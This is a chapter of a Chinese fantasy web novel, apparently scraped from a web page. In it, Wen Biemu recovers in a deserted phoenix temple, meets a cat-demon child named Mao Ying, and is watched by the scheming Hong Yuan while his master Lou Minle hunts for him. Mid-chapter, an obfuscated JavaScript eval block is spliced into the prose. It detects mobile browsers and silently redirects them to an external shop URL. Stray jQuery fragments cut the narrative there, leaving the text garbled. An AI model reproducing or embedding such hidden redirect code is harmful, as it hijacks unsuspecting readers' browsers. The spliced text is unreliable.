闻别暮手上逐渐失了力,他倒在地上,后脖颈疼得像是要烧起来一般。体内的灵力开始躁动,闻别暮难受到低声闷哼。
将弋剑“叮当”一声摔在地上,将弋也被吸回了剑身。
闻别暮除了莫名其妙的风声,他什么也听不见了。神庙中的烛火骤然熄灭,神像威严立于闻别暮旁,庄严肃穆。
自己的身体很不对劲。闻别暮意识有些模糊,他勉强将身子直立,将自己的后背紧紧贴住冰凉的石柱
意识勉强回魂,闻别暮如同溺水的人刚浮出水面,大口大口呼吸着空气。他不知道这种大口大口,只是自己以为。别人见着了他,只会觉得他呼吸微弱,离死只有一步了。
神庙上,乌鸦和弘鸢停在上面。弘鸢借着神庙上的缺口,窥探着里面的一切。
弘鸢欣赏着自己的作品,目光中全是感叹:“和让夷当初的模样如出一辙,不愧是将弋剑选择的主人。”
乌鸦满眼迷茫,将弋剑不是被让夷送给闻家,为什么说是将弋剑选择的闻家。
弘鸢现在心情不错,愿意给她的小乌鸦解释:“让夷在离开之前,是给了将弋自己择主的权利,就像太安自己选择封印在云家这里一样。”
太安剑和将弋剑是双生剑。弘鸢把闻别暮带到这里,内心在期待那把尘封已久的剑出世。
“他在干什么?”乌鸦眼睛不好,他五步以外看人就像一团雾。
此刻,闻别暮周身围绕着灵气,手上掐诀的动作在不断变化。他试图将后脖颈那里的东西逼出去。
闻别暮很敏锐,他知道自己的不对劲来自于哪儿。弘鸢莫名帮他解开丹灵下在他身上的咒,肯定没那么好心。
闻别暮呼吸一滞,他强压下躁动的心,双手向下压,将那股不安的情绪也摁住了。
脑后的痛感开始减弱,闻别暮长长呼出一口气,他想站起身,脚下一软,又摔了下去。手臂被粗糙的地面磨出一条血痕,闻别暮眉心皱了一下,他面不改色地爬起来,扶着墙休息好一阵。
闻别暮感觉恢复了一些力气,他向前走了一步,推开神庙破旧的大门。
这神庙大概很久都没来过人,屋内灰尘满地,蛛丝成网;屋外落叶遍地,一旁枯井被石块重重压着。
闻别暮茫然地望着一旁的老树,他很久都没下过灵山,甚至也没怎么到过云家地盘,这弘鸢把他给带到这儿来,他也不知道怎么走了。
神庙的围栏外冒出一个小孩的脑袋,小孩张着圆圆似葡萄的眼睛,一动不动地盯着闻别暮。
闻别暮和那小孩一对上眼神,小孩又怯生生蹲下身去,但死活不愿意离开。
哪儿来的小孩?
闻别暮走上前去,看着这个看上去还在喝奶的小孩。
“哇啊啊!”小孩一抬头,看见闻别暮时小躯一震,他尖叫着,飞也似溜到十步开外的树后面。
闻别暮耳朵被这小孩震了一下,他慢慢走过去,小孩看上去还在害怕,约莫是看出闻别暮没有恶意,他这次没再跑走了。
小孩仰头望向闻别暮,他气呼呼问道:“来者何人?竟敢闯进凤凰神庙!”
小孩声音都还没脱去奶气,一点儿震慑力都没有。小孩被闻别暮提起来,两人大眼瞪小眼,随后闻别暮忍不住,将小孩丢了出去。
那小孩果然不是寻常人,被扔出去之后,稳稳翻了个身,落在地上。
“猫妖。”闻别暮看着小孩瞳孔变成一条竖线,下了定论。
小孩“嘿嘿”一笑,头发上冒出两只毛茸茸的猫耳朵他舔了舔唇,脸上的笑容是与他年纪不相符的阴恻恻:“你身上有鸟的味道,想吃。”
小孩咧开嘴,还以为自己能震慑住闻别暮的时候,对方只是轻飘飘看了自己一眼,什么额外的反应都没有。
小孩要被气炸了,他张牙舞爪地跑到闻别暮身边,却被对方摁住脑袋,没办法前进一步。
被人压制的感觉很不爽,小孩闷闷不乐地坐在地上,耳朵平摆,不知道什么时候冒出来的尾巴也垂在地上。
“什么名字?”闻别暮能看出来猫妖最多不过五六岁,他父母应当是能化成人形的妖,所以这小孩才能天生人形。
小孩对了对手:“茅赢。”
“难听。”小孩刚说完自己的名字,闻别暮就脱口而出这句话。
茅赢被气哭了。
听见小孩的哇哇大哭,弘鸢忍不住揉了揉眉心:“茅赢还是一如既往地吵。”
乌鸦转身盯着不远处蹲在树上的那两只猫妖,他站起身,头发被风卷起,乌鸦的双眼被头发遮住:“主人,您和楼勤打了什么赌?”
弘鸢手中变出一枝柳条,她缓缓搓着柳条,她也望向两只乌鸦:“小乌鸦,我和楼勤决裂的时候,你应该还没出生吧?”
乌鸦点头,他道:“主人,是因为凤凰吗?”
弘鸢摇头,虽然凤凰过分宠溺楼闵乐,但也不至于让他俩闹到现在这个地步。
弘鸢将柳条编成一只头环,她盯着头环,像是在盯着头环后的一个人:“是让夷啊,让夷……他可是亲手折断了我的希望。”
头环被弘鸢手中燃起的火烧成灰烬,弘鸢从喉咙中发出一声冷笑。
让夷啊让夷,你为了楼闵乐,亲手布下的局,今天就让她来将这局势扭转吧。她弘鸢,绝对不会让楼闵乐好过。
弘鸢变成一只青色的雀儿,她尾翼点缀着红色的火焰,轻轻落在乌鸦肩上。凑近看,才能看见弘鸢的原形只有一只脚。
弘鸢对着两只大猫妖那边吐出一团火。
坐在树上的猫妖没有做出回应,只是慢条斯理地舔着身上的毛,目光所到之处便是茅赢所在的地方。
那边闻别暮从路边摘了一根狗尾巴草,他正靠在围栏上,无聊地逗着茅赢,灵山养的那三只小灵猫也喜欢这么玩。
闻别暮似有所感,他转过身朝着弘鸢他们的方向望去。但弘鸢他们的位置卡的很好,刚好被庙前的树挡着,让人一时间找不着。
小猫妖伸出的爪子差点勾到他的手,闻别暮转过头,给了他一个脑瓜崩。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105399|149005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
乌鸦被闻别暮吓回了原形,他和弘鸢一起转过脑袋,有些喜感地看向那两只从喉咙中发出威胁声音的大猫。
站在屋顶上的那两只鸟齐齐叹了口气,这是又要打起来了。两鸟扑腾着翅膀飞走了。
*
楼闵乐一眨眼,发现自己小徒弟突然消失在自己面前。
“弘鸢,你滚回来!”
楼闵乐破口大骂,他很生气,要是他化作原型,身上的羽毛一定炸起来了。
弘鸢走得很无情,一句话都没留下,还把他小徒弟给带走了。
楼闵乐剩下那两个徒弟也迅速发现小师弟不见了,脸色都极其难看。与此同时,脸色难看的还有宴安和宴寰这两兄弟。
宴安想,这大妖真可怕,居然能神不知鬼不觉出现和消失在他们宴家。而宴寰想的,他们宴家算是完了,居然能让一只妖来去自由。
“十一,现在怎么办?”雪莲花看上去有些被吓住了,她心有余悸地拉过站在自己身后的大弟子。
楼闵乐右手朝空中一抓,一块晶莹剔透的黄玉凭空而出。楼闵乐左手掐诀,黄玉在空中四分五裂,紧接着朝四面八方飞去。
荧惑叹为观止,她早知道十一自学了许多奇能异技,没想到自己今天还能见到失传已久的让夷寻鬼。
“师尊,这招?”闻子然和宴无究从来没见过,两人脸上都是虚心请教。
楼闵乐摊开的手心猛地一抓,握成拳头,“这是让夷寻鬼,之后有机会再教给你们。”
让夷寻鬼,这名字取得有些奇怪,不过这招用来找人十分好用。
黄玉在空中旋转,最后朝着东南方引出一条道来。
楼闵乐闭上眼,半晌后,他吐出几个冷冰冰的字:“在云家神庙宫。”
楼闵乐睁开眼,暗叫一声不好。
“我得赶紧去找他。”楼闵乐松开手,黄玉消失不见。
云家神庙宫……
荧惑脸色大变,“你是说阿朝在那个地方?那地方不是有镇守的猫妖吗?我听说连丹灵那个老家伙也不敢轻易进去。”
话都还没说完,楼闵乐将两个徒弟往荧惑的方向一推,他脸上的冷意加重几分:“我先走一步,这两小孩你看一下。”
话毕,楼闵乐化作毕方,一眨眼就消失在众人眼前。
宴寰望着楼闵乐离开的方向,脸色微妙,他喃喃道:“启明星君……真的是毕方吗?”
“什么意思?”宴无究手中的凤翎羽扇已经被打开,它主人被亲叔叔的话惊了一下,下意识又把羽扇收拢。
此话一出,不但是宴无究,周围一群人都朝着宴寰投去好奇的目光。甚至是被宴寰紧紧拉住的宴安也是一脸惊讶。
宴寰做了个收声的手势,随后示意想知道的人靠近他,于是没过一会儿,身边又围了一大圈人。
宴寰长了宴安那么多岁,也是凤凰时期的家主,比现在这些小辈见多识广多了,他道:“你们见过其他毕方吗?启明星君的羽毛,明显和其他毕方不一样啊!”